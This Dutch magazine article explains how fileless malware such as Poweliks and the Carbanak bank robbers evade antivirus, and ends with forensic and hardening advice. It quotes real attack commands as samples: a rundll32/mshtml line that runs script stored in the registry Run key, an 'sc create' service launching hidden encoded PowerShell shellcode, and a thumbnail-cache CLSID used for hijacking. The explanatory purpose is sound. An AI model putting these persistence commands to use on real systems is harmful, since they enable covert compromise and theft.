Fileless malware omzeilt beveiliging

Redactie
0

Inhoudsopgave

Antivirusprogramma’s richten zich bij hun zoektocht naar malware vooral op patronen van bekende malware-tools in bestanden.Maar als de malware geen enkele bestand op de harde schijf aanraakt, zijn veel beveiligingsmaatregelen zinloos. Professionele spionnen, die zich richten op hooggeplaatste doelen in de industrie en politiek, experimenteren daarom al langer met zogeheten fileless malware. Nu is ook de cybermaffia met een inhaalslag bezig.

Bij traditionele besmettingen van een computer, bijvoorbeeld met een exploit-kit, wordt de eigenlijke malware van het internet gedownload en op de computer van het slachtoffer opgestart. Vervolgens gaat het kwaad zijn gang, bijvoorbeeld met bankfraude. Bij gerichte inbraken in bedrijfsnetwerken halen de aanvallers meestal eerst nog meer tools binnen om verder in het netwerk door te dringen. Beveiligingssoftware is daar inmiddels op ingesteld en zoekt gericht naar dit soort aanwijzingen voor een infectie. Insiders noemen dit soort aanwijzingen ook wel ‘Indicators of Compromise’.

Om ontdekking te voorkomen, laten cybercriminelen natuurlijk liefst zo min mogelijk van dit soort sporen achter. Steeds vaker maken ze daarom helemaal geen bestanden meer aan. Kaspersky maakte bijvoorbeeld in februari melding van ‘fileless attacks’ bij meer dan 140 bedrijven in 40 landen. Daar zaten onder andere banken, overheidsinstanties en telecombedrijven bij. Kaspersky vermoedt dat de daders te vinden zijn bij cybergangs die gespecialiseerd zijn in hightech bankroof, zoals Carbanak en Gcman.

Kaspersky fileless malware

Kaspersky vond bij 140 banken, overheidsinstanties en telecombedrijven sporen van besmetting zonder bestanden door professionele inbrekers.

Zulke fileless malware omzeilt niet alleen traditionele beveiligingsprocedures als het scannen van bestanden door antivirussoftware. Ook moderne securityconcepten als Software Restriction Policies in Windows en andere whitelistingmethodes verliezen hun werking. Voor de aanval en de daarop volgende datadiefstal gebruiken inbrekers namelijk tools die al op het systeem aanwezig zijn.

De onzichtbare aanwezigheid van malware staat of valt met ongemerkt binnendringen in het systeem. Officebestanden met macro’s vormen bijvoorbeeld een populaire invalspoort. In het ergste geval is een e-mail met een document zelfs speciaal afgestemd op de ontvanger, bijvoorbeeld in de vorm van een sollicitatie gericht aan de afdeling personeelszaken.

De schadelijke code is daarbij versleuteld of in ieder geval onleesbaar gemaakt en wordt pas uitgepakt bij het uitvoeren van de macro. Alternatieven voor Office-macro’s zijn JavaScript-bestanden (.js) en html-toepassingen (.hta) met JScript of VBScript.

macrobeveiliging uitschakelen

Deze malware probeert je over te halen om de macrobeveiliging uit te schakelen.

Helemaal zonder bestanden werkt dit nog niet. Uiteindelijk komt de malware toch in een bestand op de computer terecht. Je kunt het dan als zodanig herkennen en blokkeren of op zijn minst achteraf terugvinden in bijvoorbeeld de tmp-map van de getroffen gebruiker.

Bij besmetting met een exploit-kit (EK) werkt het anders. Met de beruchte Angler-EK kun je al sinds 2014 fileless malware op een doelcomputer binnenloodsen en uitvoeren. Daarbij belandt niets meer in tmp-bestanden. In plaats daarvan injecteert de exploit de schadelijke code in het werkgeheugen van een actief proces en start het simpelweg als een nieuwe thread. Anglers concurrenten zoals de HanJuan-EK hebben deze techniek overgenomen.

Dit klinkt wellicht behoorlijk abstract, maar met een voorbeeld wordt het misschien duidelijker: de fictieve gebruiker Lars kijkt als ontspanning na het werk graag naar kattenfilmpjes. Advertenties voor brokjes en krabpalen zijn voor hem dan ook niet meer dan normaal. Lars heeft geen idee dat een van de getoonde advertenties onderdeel uitmaakt van een malvertising-campagne waarmee de Angler-EK verspreid wordt. Lars hoeft niet eens op de advertentie zelf te klikken. In de code zit een onzichtbaar iframe dat zorgt voor een redirect naar de landing-page van de Angler-EK.

Dus terwijl Lars zich vergaapt aan Simon’s Cat, controleert het JavaScript op de Angler-landingspagina op de achtergrond zijn browser op beveiligingslekken. Worden die gevonden, dan slaat de exploit toe. Om te beginnen controleert de binnengesmokkelde code of hij in een sandbox of een virtuele machine zit. Alleen als dat niet het geval is, laadt hij de eigenlijke payload van de internetserver van een oplichter, in het werkgeheugen van de browser komt. Begint die met het typische ‘MZ’ van een PE-header, dan gaat het om traditionele malware. Het bestand wordt gewoon op de harde schijf gezet en uitgevoerd. Maar als de eerste twee bytes 0x9090 zijn, dan is er sprake van fileless malware zoals hieronder beschreven.

Het kwaad vestigt zich

Bij de code in het werkgeheugen gaat het om een dynamisch te laden bibliotheek. Alleen zit die niet zoals gebruikelijk in een dll-bestand, maar in het werkgeheugen. Een speciale loaderfunctie van de malware voert daarbij alle taken uit die normaal door het besturingssysteem gedaan worden bij het laden van een dll-bestand.

De code bepaalt onder andere de adressen van benodigde functies in het werkgeheugen (GetProcAddress(), VirtualAlloc() en LoadLibraryA()), reserveert daarvoor geheugen, laadt de bibliotheek daarheen en voert een rij beheertaken uit, zoals het afwerken van de import-table. Vervolgens roept de loader de entry-point van de bibliotheek op (DllMain). De bibliotheek wordt geïnitialiseerd en gaat aan de slag.

Als je het nog preciezer wilt weten, raden we aan om het artikel ‘Reflective DLL Injection’ van Stephen Fewer te lezen of de voorbeeldimplementatie op GitHub te bekijken.

Overigens gebruiken ook de eerder genoemde bankrovers deze techniek. Zij smokkelden meerdere DLL’s tegelijk het systeem binnen die waren gemaakt voor het pentration-testing-framework Metasploit. Op de besmette systemen wordt vervolgens een zogeheten Meterpreter-shell geopend, die de aanvallers een krachtige achterdeur biedt in de vorm van een commandline. Indringers hebben zo via het internet de volledige controle over een gehackt systeem.

Sporen wissen

Deze manier van besmetten heeft wel een probleem: zodra Lars zijn browser sluit, is alles weg. Zelfs als de inbrekers zich met OpenProcess() en CreateRemoteThread() in andere, continu draaiende processen als explorer.exe weten te nestelen, is de nachtmerrie in ieder geval na een keer opnieuw opstarten voorbij.

Dat kan natuurlijk de bedoeling zijn als het om een kwetsbaar doelwit gaat dat makkelijk opnieuw gehackt kan worden. Het voordeel is immers dat er geen sporen op het systeem achterblijven waaruit blijkt dat er ingebroken is of waarmee forensisch onderzoekers achteraf een duidelijk beeld kunnen krijgen van wat er heeft plaatsgevonden. De criminelen willen in geen geval bijzonder waardevolle hacktools op de harde schijf van hun slachtoffer laten rondslingeren. Dan zijn ze liever een deel van hun uitvalsbasis kwijt.

Maar in veel gevallen willen de inbrekers een permanente basis opzetten die ook een reboot van het systeem doorstaat. Normaal gesproken wordt daarvoor een uitvoerbaar exe-bestand met een naam die geen achterdocht opwekt op het bestandssysteem gezet. Dat bestand wordt dan met een run-key in het register automatisch uitgevoerd bij het opstarten van Windows of bij het aanmelden van de gebruiker (HKEY_LOCAL_MACHINESoftwareMicrosoftWindows CurrentVersionRun of onder HKEY_CURRENT_USER). In zo’n run-key staat dan een commandline-aanroep inclusief parameters voor het te starten programma.

Slimme inbrekers zorgen ervoor dat de run-keys en het bijbehorende exe-bestand pas door het in het geheugen aanwezige spionageprogramma worden aangemaakt als het systeem wordt afgesloten. Bij het opstarten verwijdert de malware de sporen dan weer. Maar zelfs dan kan een vindingrijke IT’er ze bijvoorbeeld met Desinfec’t op de harde schijf terugvinden. Daarom maken moderne cybergangs steeds vaker gebruik van een installatiemechanisme zonder bestanden.

Blijvertje

Ook fileless malware maakt gebruik van run-keys, en wel om zichzelf in te bewaren. Het register wordt gebruikt als opslaglocatie voor allerlei soorten code. De ad-fraudmalware Poweliks nestelt zich zo:

rundll32.exe javascript:"..mshtml, RunHTMLApplication ";document.write( "74script language=jscript.encode>" +(new%20ActiveXObject("WScript.Shell")) .RegRead("HKCUsoftwaremicrosoft windowscurrentversionrun")+"74/ script>")

Hieruit blijkt dat de boeven een manier hebben gevonden om de ingebedde JavaScript-code vanuit het register uit te voeren. Daarvoor gebruiken ze de systeemtool rundll32, die bedoeld is om dll-functies te starten. Die laadt in dit geval de systeembibliotheek mshtml.dll en gebruikt de functie RunHTMLApplication daaruit om de JavaScript-code uit te voeren. Die laadt dan weer een volgend script, dat eveneens in het register staat, en wel in een subsleutel van de run-key. Ook de fileless bankingmalware GootKit en de ransomware-trojan PowerWare8 nestelen zich op zo’n manier in het systeem.

Het in tweede instantie geladen script is zelf ook weer een loader, en wel van het eigenlijke infectiescript dat ook weer versleuteld in het register opgeslagen is. Bij deze stap willen de inbrekers hun (binaire) malware reactiveren. Daarmee hebben ze dan weer dezelfde situatie als voor de reboot. Omdat dat niet zonder meer met JavaScript kan, gebruiken de makers van Poweliks de PowerShell.

Windows PowerShell is met Vista ingevoerd als een Windows-eigen commandline-interpreter met een eigen scripttaal. Deze shell is een stuk krachtiger dan de bekende Opdrachtprompt. Met PowerShell-scripts kan onder ander ook shellcode, oftewel directe machinecode, uitgevoerd worden. De fileless rootkit Phasebot gebruikt dat bijvoorbeeld om schadelijke code in het proces explorer.exe te injecteren en herstelt zo de situatie van voor de reboot.

Het maakt voor Poweliks trouwens niet uit als de PowerShell op het systeem ontbreekt. Dan downloadt hij hem simpelweg van het internet en installeert hem.

CLSID-hijacking

Als je nu denkt dat het volstaat om de run-keys op verdachte items te doorzoeken, onderschat je de creativiteit van de inbrekers. Die zijn namelijk alweer bezig met minder opvallende autostartmechanismen. Zo werkt een Poweliks-variant met zogeheten CLSID-hijacking. CLSID staat voor Class Identifier. Daarmee worden COM-objecten – simpel gezegd softwarecomponenten van het systeem – systeembreed ondubbelzinnig aangeduid. In het register vind je alle op het systeem geregistreerde CLSID’s onder

HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{CLSID}

Dat is een vrijwel eindeloze lijst en elk CLSID- item heeft ook nog weer verschillende subkeys die in zekere zin gebruikt worden om de COM-objecten te configureren. Sommige daarvan specificeren bestanden die samen met het COM-object geladen worden. Fileless malware zet in de betreffende subkey het pad naar zichzelf of naar een geschikte PowerShell-loader en kan zo de laadpunten van zulke objecten gebruiken om zichzelf als het ware mee te laden.

De genoemde Poweliks-variant gebruikt de subkey LocalServer32 van de CLSID {AB8902B4-09CA-4BB6-B78DA8F59079A8D5}. Dat is de CLSID van de Windows thumbnail cache. Die wordt altijd aangeroepen als de Verkenner een nieuwe preview moet laten zien.

De bankrovers kozen een totaal andere route. Zij verankerden met de Windows- systeemtool sc een nieuwe dienst in het systeem:

sc create ATITscUA binpath="C:Windowssystem32cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4…"

Ook hier wordt geen externe software gebruikt, maar alleen lokale tools. De cryptische PowerShell-parameter gebruikt de mogelijkheid daarvan om direct shellcode uit te voeren. Die is met de MetaSploit-tool msfvenom gemaakt en laadt nog meer shellcode uit het netwerk om die dan in het geheugen te activeren. Zo komen Meterpreter voor remote control en Mimikatz voor pass-the-hash-aanvallen in het RAM terecht.

Waarvoor eigenlijk?

Fileless malware implementeert slimme strategieën om niet alleen ongemerkt op de doelcomputer te komen, maar zich daar ook blijvend te verbergen. De infectie zonder bestanden vergroot de kans dat de malware lang onontdekt blijft. Dit wordt dan ook meestal gebruikt voor malware die daar belang bij heeft. Zo wordt het vaak ingezet om permanente botnetstructuren op te bouwen, bijvoorbeeld om continu data te stelen, ad-fraud-traffic te genereren of ddos-aanvallen uit te voeren.

Op het gebied van bedrijfsspionage en staatshacking behoren aanvallen zonder bestanden al tot het standaardarsenaal. De hooggekwalificeerde hacker-crews doen er alles aan om zo min mogelijk sporen achter te laten. Per slot van rekening kan één enkele analyse er al voor zorgen dat een tool waar veel werk in zit volledig waardeloos wordt. In vergelijking daarmee is het verliezen van een besmet systeem dan wel te overzien.

Oude trucs

Als je fileless malware wilt opsporen en verwijderen, ben je helaas niet klaar met een blik in het register en aansluitend wissen van de malware-items. Poweliks en dergelijke maken namelijk graag gebruik van oude trucs waarmee ze verbazingwekkend genoeg vaak nog steeds hun doel bereiken. Ze gebruiken bijvoorbeeld niet-ASCII-tekens of de waarde NULL als naam voor run-subkeys. Omdat dat eigenlijk nooit Microsofts bedoeling was, gaat het bij veel programma’s mis als je zulke register-items probeert te lezen of te verwijderen. Sommige Poweliks-varianten manipuleren ook de toegangsrechten van de door hen aangemaakte subkeys.

registry editor

Het gebruik van een niet-ASCII-teken in de naam van een run-subkey zorg voor problemen bij het openen met de standaard registry-editor.

Een andere truc uit de oude doos is de mogelijkheid om het register zelf te controleren en eventueel verwijderde items meteen weer te herstellen. Maar professionele inbrekers doen niet aan dat soort spielerei. Die weten dat hun tijd er sowieso op zit en dat ze het systeem kwijt zijn zodra ze ontdekt zijn. Bij gerichte aanvallen kun je er daarom beter van uitgaan dat ze bij het eerste teken van ontdekking alle sporen uitwissen en register-items met waardevolle shellcode zelf verwijderen.

Fileless != spoorloos

Om een besmetting zonder bestanden toch te kunnen aantonen, maken forensisch onderzoekers eerst een memorydump, oftewel een kopie van het complete werkgeheugen van het actieve systeem. Die onderzoeken ze vervolgens met speciale tools als WinDbg, LiveKD en Volatility om bijvoorbeeld de op dat moment actieve processen te analyseren.

Bovendien doen de onderzoekers natuurlijk standaard een gedetailleerde analyse van het register. Strikt genomen is dat eigenlijk helemaal niet ‘fileless’. Windows slaat het namelijk op in zogeheten hives, onder andere in de Windows-map system32config. Met traditionele functies voor bestandsanalyse van bijvoorbeeld een antivirusprogramma kun je alleen niet bij die hives komen. Dat wordt nog versterkt doordat de eigenlijke schadelijke functies daar alleen versleuteld opgeslagen zijn. Maar als je weet waar je naar moet zoeken, kun je een infectie met registry-editors wel opsporen.

Het is duidelijk dat signature-based antivirusprogramma’s geen echte beveiliging bieden tegen deze onzichtbare bedreiging. Maar ook voor proactieve technieken is de werkwijze zonder bestanden een grote uitdaging. Zo omzeilt het gebruik van systeemtools als de PowerShell whitelisting-strategieën. De beste beveiliging is om het systeem preventief te versterken met regelmatige security-updates en extra regels die bijvoorbeeld het uitvoeren van macro’s en shellscripts beperken. In bedrijfsnetwerken kun je bovendien bijvoorbeeld de communicatie van de malware ontdekken door op firewalls op verdachte IP-adressen te filteren.

(Olivia von Westernhagen, Jürgen Schmidt en Herman Heringa)

Meer over

Malware

Deel dit artikel

Lees ook

Windows 11 herstelpunt maken: waarom het belangrijk is en hoe het moet

Je kunt later je computer terugzetten naar een eerdere, goed werkende situatie door een herstelpunt te maken in Windows 11. Wij laten je zien hoe je d...

Dit kun je verwachten als je ChatGPT als hacking-tool wilt gebruiken

Kun je ChatGPT gebruiken als hacking-tool? We neigden naar de duistere kant en onderzochten of de assistentie van een AI van elke scriptkiddie een eli...

0 Praat mee
avatar
  Abonneer  
Laat het mij weten wanneer er